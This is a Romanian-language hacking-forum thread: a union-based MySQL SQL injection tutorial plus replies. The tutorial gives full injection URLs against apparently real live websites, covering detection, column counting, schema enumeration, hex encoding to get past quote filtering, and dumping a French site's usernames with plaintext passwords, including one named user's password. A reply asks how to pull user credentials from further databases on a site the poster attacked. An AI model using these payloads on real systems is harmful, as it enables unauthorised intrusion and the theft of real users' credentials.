Jump to content
N-W-A

(My)SQL injection Tutorial - Pure database injecting

Recommended Posts

In acest tutorial o sa va arat cum sa detectati si exploatati vulnerabilitati de tip SQL injection si o sa incerc sa il fac pe intelesul tuturor.

-Pentru inceput...in ce consta o vulnerabilitate SQL injection?

-Pe scurt si pe intelesul tuturor, o vulnerabilitate SQLi permite atacatorului sa execute sintaxe asupra unei baze de date. Aceasta vulnerabilitate este foarte des intalnita din cauza neatentiei programatorilor aplicatiilor web. Sintaxa poate fi executata fie din link, fie prin HTTP form REQUESTS.

Cel mai comun tip de vulnerabilitate este cel din link. Cel mai comun, dar nu intotdeauna cel mai eficient...Serverul poate pune restrictii si poate filtra anumite comenzi si caractere in link, lucru care fac injectarea mult mai dificila sau chiar imposibila.Metodele(cele stiute de mine) pentru bypass sunt Blind SQL injection(subiect pe care probabil nu o sa il abordez niciodata, din cauza nervilor pe care mil creeaza),smugglingul + alte "trikuri".

Bun.

1.Detectarea SQLi

In cele mai multe cazuri, verificarea securitatii unui web-site(la SQL injection) se face pe baza unei erori aparute la modificarea valorii parametrului de dupa "=". Erorile variaza, sunt foarte multe si nu are rost sa le enumar. Probabil le puteti gasii si in alte N tutoriale legate de SQLi, deci nu are rost.

Well..eu nu sunt de acord in totalitate cu verificare in acest mod. Am gasit foarte multe vulnerabilitati error-based, dar foarte multe nu m-au condus nicaieri. Pot spune ca 60% din siteurile ce afiseaza eroarea pot fi exploatate (vorbesc din experienta).

Daca un site nu prezinta eroare nu inseamna ca nu este vulnerabil. Cel mai sigur mod de verificare este folosirea unui "false query".

Asta inseamna plasarea dupa valoarea parametrului a unei sintaxe false (ex: 1=2, '=", etc.). Va recomand sa folositi aceasta metoda fie daca apare sau nu eroarea.

Cel mai bun mod de a verifica o posibila vulnerabilitate este punerea unui apostrof " ' " in fata valorii.

http://www.austriasolidarity.com/showart.php?articleid='6886

Daca apare vreo eroare sau pagina se modifica intr-un fel sau altul, inlaturati apostroful si adaugati o sintaxa adevarata:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=1

Pagina ar trebuii sa arate normal.

Acum schimbati sintaxa cu una falsa:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2

Pagina ar trebuii sa afiseze eroare sau sa se schimbe intr-un fel sau altul. Daca asa e, pagina este vulnerabila la SQLi.

2.Exploatarea

a.Numarul coloanelor

Eh, aici incepe partea mai interesanta. Dupa detectarea vulnerabilitatii, primul pas ar fi gasirea numarului de coloane. Acesta se face cu ajutorul sintaxei "ORDER BY". Un alt aspect important legat de alcatuirea sintaxei, este terminatia. Cea mai comuna terminatie este "--" dar mai puteti folosii si terminatia "/*"(Aceasta apartine versiunilor mai vechi dar inca mai este functionabila. Uneori e chiar indispensabila.). Sunt cazuri in care terminatia nu este necesara, dar va recomand sa o folositi. Niciodata nu se stie cum arata sintaxa totala in care lucrati, si nu strica sa incercati mai multe combinatii pentru reusita injectarii. Sunt cazuri in care apostrofurile pot ajuta. EX:

..?id=34+'union+all+select+34--'

.

Aceste apostrofuri separa sintaxa dv. de restul sintaxei, doar in anumite situatii.

Sa revenim la subiect.

Prima incercare va fi cu 1.

http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+1--

Observati ca pagina nu si-a schimbat forma.

Continuam cu 2,3,etc.

http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+2--

http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+3--

http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+4--

Pana acum nicio schimbare. Sa vedem cum va reactiona la "order+by+5".

http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+5--

Ceva e schimbat. Eroarea a revenit. Asta inseamna ca numarul coloanelor este 4.

b.Selectarea coloanelor

Selectarea coloanelor se face cu ajutorul sintaxei "UNION ALL SELECT".

Operatorul UNION combina rezultatele a 2 sau mai multe selectari din tabele diferite. Nu are rost sa intram in detalii, dar acest operator este important.

Am aflat ca numarul coloanelor este 4, deci sintaxa va arata asa:

http://www.austriasolidarity.com/showart.php?articleid=6886+union+all+select+1,2,3,4--

Observam din nou faptul ca pagina este intacta, fara nicio modificare.

c.Afisarea coloanelor

In mod normal afisarea coloanelor se face in felul urmator:

1.Adaugand un "-" in fata valorii:

http://www.austriasolidarity.com/showart.php?articleid=-6886+union+all+select+1,2,3,4-- 

2.Adaugand un "false query" in fata sintaxei cu care operam:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+1,2,3,4--

Observam aparitia unor 3 valori: 1,2,3. Uneori se pot afisa toate coloanele, uneori decat 1, alteori niciodata. Nu uitati sa verificati si codul sursa, coloanele pot aparea si acolo cand nu sunt afisate vizibil.

d.Aflarea versiunii

Un pas important este aflarea versiunii. Daca aceasta este <=4, atunci poate fi o problema. Tabelele si coloanele vor trebuii aflate prin ghicit, iar rabdarea nu este punctul meu forte. Daca versiunea este 5, putem afla numele bazelor de date, tabelelor si coloanelor cu ajutorul "Information_schema"(asta o sa va arat eu in acest tutorial).

Versiunea se verifica cu operatorul "@@version" sau "version()".

Ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+@@version,2,3,4--

Observam ca este versiunea 5.0.81.

Legat tot de aflarea versiunii..in unele cazuri atunci cand incercati sa folositi operatori precum "version()" sau "user()" s-ar putea sa primiti o eroare de genul:"illegal mix of collations" sau "forbiden characters". Aceste erori pot aparea doar la folosirea operatorilor sau pot aparea si la folosirea operatorilor si la extragerea datelor. In acest caz puteti folosi urmatoarele sintaxe:

"CONVERT" si "UNHEX(HEX())".

Ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+convert(@@version%20using%20latin1),2,3,4--

sau:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+convert(@@version using utf8),2,3,4--

sau:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+unhex(hex(@@version)),2,3,4--

In acest caz nu este nevoie, dar am precizat pentru vulnerabilitatile ce le puteti gasii in viitor.

Odata aflata versiunea, putem sa ne ocupam de aflarea numelor bazelor de date, tabelelor si coloanelor. Dupa cum am mai spuis, o sa facem acest lucru prin information_schema, un fel de schita(metadata) a bazei de date complete.

e.Aflarea bazelor de date/tabelelor/coloanelor

Pentru asta o sa avem nevoie de functia CONCAT. Tot de ea o sa ne folosim si in viitor.

Acum o sa aflam bazele de date:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4%20from%20information_schema.schemata--

O sa va afiseze "information_schema", asta pentru ca si information_schema este un fel de baza de date, doar ca asupra ei nu se opereaza. Pentru aflarea bazei de date principale sau a altor eventuale baze de date, folositi conditia "LIMIT".

De ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4+from+information_schema.schemata+limit+0,1--

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4+from+information_schema.schemata+limit+1,1--

Daca folosim 2,1 o sa ne apara eroare, deoarece nu mai exista alta baza de date :)

Baza de date principala este: austria_lpldb.

-Alternativa CONCAT->GROUP_CONCAT. GROUP_CONCAT va scuteste de folosirea conditiei limit, si afiseaza toate elementele cerute din information_schema cu , intre ele.

Acum sa aflam tabelele:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=database()

Tabelele:

articles,articletypes,email,lnk_articles_articletypes,lplorg,lplpeople

Aceasta e una din alternative. Operatorul conditional "WHERE" se va dovedii foarte folositor, la fel ca si in acest caz. Acum o sa aflam doar tabelele din baza de date principala(reprezentata prin "database()").

O alta alternativa ar fi:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=%27austria_lpldb%27--

Dar dupa cum vedeti, este afisata eroare. Sintaxa este corecta, dar serverul are magic_quotes on si nu ne permite folosirea apostroafelor sau a altor caractere. In aceasta situatie apelam la HEX code. Convertim numele bazei de date in HEX, si ii punem un "0x" in fata. Sa incercam:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=0x617573747269615F6C706C6462--

Acelasi rezultat. Convertirea in HEX ne va ajuta foarte mult si in viitor. Acum ca avem tabelele, sa aflam coloanele unuia din tabele.

Sa aflam coloanele tabelului "articles". Pentru asta, va trebuii sa convertim cuvantul "articles" in hex.

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(column_name),2,3,4+from+information_schema.columns+where+table_name=0x61727469636C6573--

Coloanele sunt:

articleid,title,author,summary,text,datecreated

-O sa fac din nou o mica observatie. Daca va simtiti incomodati de celelalte coloane afisate(respectiv 2 si 3) puteti sa le inlocuiti cu valoarea "null". Acestea vor disparea.-

Acum ca avem coloanele si tablele, sa facem ceea ce e mai important: Sa exploatam. In acest caz nu prea avem ce sa exploatam...Doar sa obtinem cateva informatii:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(title,0x3a,author),2,3,4+from+articles--

Aici vedem titlul si autorul unor articole, separete prin ":". Acest ":" il reprezinta acel "0x3a", varianta lui ":" in HEX.

Acest site nu prezinta interes, a fost folosit doar pentru exemplu, dar vulnerabilitatile in alte siteuri va pot aduce beneficii...

De exemplu, aici puteti vedea userii si parolele lor, din baza de date a unui site multifunctional francez:

http://tivipro.tv/salons_sshome.php?id_salon=-296+union+all+select+1,2,3,4,group_concat(login,0x3a,password),6,7+from+meta_users--

Dupa cum vedeti parolele sunt in plain text, lucru care va face treaba mult mai usoara.

In mare parte, in asta consta exploatarea unei vulnerabilitati de tip SQLi.

Acum o sa va prezint cateva detalii si observatii legate de anumite lucruri ce va pot ajuta in viitor:

*Functia "CONCAT_WS" - va poate fi de folos atunci cand aveti de extras date din mai multe coloane. Ea pune automat semnul stabilit la inceput intre valorile coloanelor. Ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat_ws(0x3a,title,author,datecreated),2,3,4+from+articles

*Pot exista situatii in care CONVERT si UNHEX(HEX()) nu functioneaza. Atunci puteti folosi functia AES_DECRYPT(AES_ENCRYPT...

ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),2,3,4+from+articles--

AES este o metoda de encriptie (128bit key lenght,cea mai eficienta din MySQL) si din experienta, este cea mai rapida.

*Functia "COUNT".Va ajuta sa numarati coloanele, atunci cand dati de tabele cu coloane lungi. Selectati sa numere una din coloane (de preferat coloana cheie, care de obicei este "ID").

ex:

http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+count(title),2,3,4+from+articles

*Aflarea valorii unei coloane, corespondenta valorii altei coloane. Se face cu ajutorul clauzei "where". De exemplu, vrei sa aflam parola userului "louis"(in cazul acesta louis trebuie convertit in HEX):

http://tivipro.tv/salons_sshome.php?id_salon=-296+union+all+select+1,2,3,4,concat(password),6,7+from+meta_users+where+login=0x6C6F756973--

Cam atat cu acest tutorial. L-am facut pe intelesul tuturor, si sper ca nu va fi greu de invatat. Pentru mai multe informatii legate de anumite functii sau operatori, consultati "MySQL Reference Manual". Pentru a manevra aceste operatii trebuie mai intai sa intelegeti cum functioneaza un sistem de gestionare a bazelor de date, deci va recomand sa il consultati.

Stiu ca sunt destule tutoriale, dar eu l-am structurat pe asta in cel mai usor mod posibil si am expus aproape toate aspectele necesare unei injectari normale.

  • Downvote 6
Link to comment
Share on other sites

Vesnica mea intrebare adresata expertilor in SQL Injection: "Ce face acel ALL?" Daca nu sti, macar nu te mai lauda ca sti SQL Injection. Hai, treci pe Google, citeste ce e ALL-ul ala si date mare ca sti. Nu stiu de ce am o banuiala ca nu o sa stie mai nimeni, pentru ca nimeni nu invata practic MySQL, toti citesc doua tutoriale prost scrise si mai deloc explicate, in care, ca si in acest tutorial banuiesc scrie: "Pai plm, puneti la URL 'union all select' si va apare aia". Dar nu spune nici unde cum se modifica query-ul, cum arata el la inceput si ce se intampla practic.

PS: Nu am citit tutorialul, dar nici nu cred ca o sa il citesc, am o banuiala ca nu o sa imi placa.

Insa sincere felicitari, macar se mai ocupa cineva de ceva, mai scrie cate ceva. Mai toti doar intra pe forumuri, si se opresc la topicurile stupide, nimeni nu mai invata nimic dar toti sunt 1337 si nu ii poate contesta nimeni.

Link to comment
Share on other sites

practic all singur nu face nimic! insa cand e vorba de "union all" atunci e vorba de selectare din fiecare tabel si structurare intr-unul singur.

ce face union? combina doua "query" separate rezultand unul singur! ( un singur rezultat din doua interogari)

Link to comment
Share on other sites

Ce seamana cu injectiile mele...

Oare cine te-a invatat astea? :))

majoritatea nu tu :))

lol, injectiile tale, zici ca tu ai inventat sql =))) LOL

@nytro

stiu la ce te referi, daca citesti un tutorial SQLi nu inseamna ca sti mysql. Dar eu am avut interesul sa ma documentez si sa invat si sql cat de cat.

Tutorialul asta descrie tehnica de atac, am si precizat ca pentru mai multe informatii sa consulte manualul de referinta. Citeste sa vezi.

Oricum, sunt 2 lucruri diferite, mysql si injectia mysql. Daca sti mysql nu inseamna ca vei sti si cum sa exploatezi o vulnerabilitate SQLi. Aici trebuie sa faci tu si altii diferenta...tehnica de atac e una, cunostintele mysql sunt altceva. Dar in orice caz, daca te respecti ar trebuii sa ai habar de ambele.

Link to comment
Share on other sites

Guest Praetorian
tehnica de atac e una, cunostintele mysql sunt altceva. Dar in orice caz, daca te respecti ar trebuii sa ai habar de ambele.

Cum vine asta?

Adica daca stiu sa fac interogari din SQL box, nu voi stii sa fac si din URL sau prin POST?

Link to comment
Share on other sites

Salut !

Multumesc mult pentru tutorialul scris.

Pot sa spun ca habar nu am sql si nici php. Sunt la stadiul la care invat de la zero

Mie mi s-a lamurit o mare dilema dupa ce am citit postul .

Este plin netul de indicatii de genul :

$name = "timmy";

$query = "SELECT * FROM customers WHERE username = '$name'";

echo "Normal: " . $query . "<br />";

numai ca nu am gasit pana acum modul in care se introduc aceste queryuri in adresa browserului. Special am spus adresa browserului ca sa sara toti smecherii din zona si sa rada si sa faca mistouri. Voi ati descoperit singuri php/mysql? Ce va atata pe voi ca e postu nu stiu cum, este foarte clar pt unul ca mine care habar nu are. Mie mi-a lamurit o problema. Voi daca sunteti atat de buni puteti sa nu il cititi sau sa intoarceti casieta cu manieli pe partea celanta.

Multumesc mult inca o data. mi-a fost foarte folositor.Acum am un punct de plecare.

Link to comment
Share on other sites

Frumos tutorial.

Am o intrebare :D

Am vazut pe blogu lu tinkode, un sqli in nasa si am incercat si eu, am aflat versiunea, si o baza de date, am vazut in turorialul tau ca pentru a vedea celelalte baze folosesc:

select schema_name from information_schema.schemata limit 1,1 .

Acum stiu cum sa vad si celelalte baze de date, dar nu stiu cum sa iau user si pass din baza 2 sau 3?

Sper ca ati inteles ce am vrut sa spun...

Multumesc!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...